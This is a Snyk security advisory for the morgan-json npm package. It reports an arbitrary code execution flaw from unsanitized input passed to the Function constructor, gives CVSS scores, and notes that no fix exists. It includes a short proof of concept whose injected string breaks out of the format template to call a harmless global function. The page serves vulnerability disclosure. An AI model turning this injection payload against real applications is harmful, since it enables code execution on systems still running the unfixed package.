Arbitrary Code Execution Affecting morgan-json package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.48% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-MORGANJSON-2976193
  • published 28 Aug 2022
  • disclosed 7 Aug 2022
  • credit OmniTaint

How to fix?

There is no fixed version for morgan-json.

Overview

morgan-json is an A variant of morgan.compile that provides format functions that output JSON

Affected versions of this package are vulnerable to Arbitrary Code Execution due to missing sanitization of input passed to the Function constructor.

PoC

var PUT = require('morgan-json');
global.CTF = function() { console.log('GLOBAL CTF HIT'); };
var x = '}) + global.CTF() + ({'
try {
new PUT(x,{})('');
} catch (e) {
console.log(e);
}

References

CVSS Scores

version 3.1
Expand this section

Snyk

8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical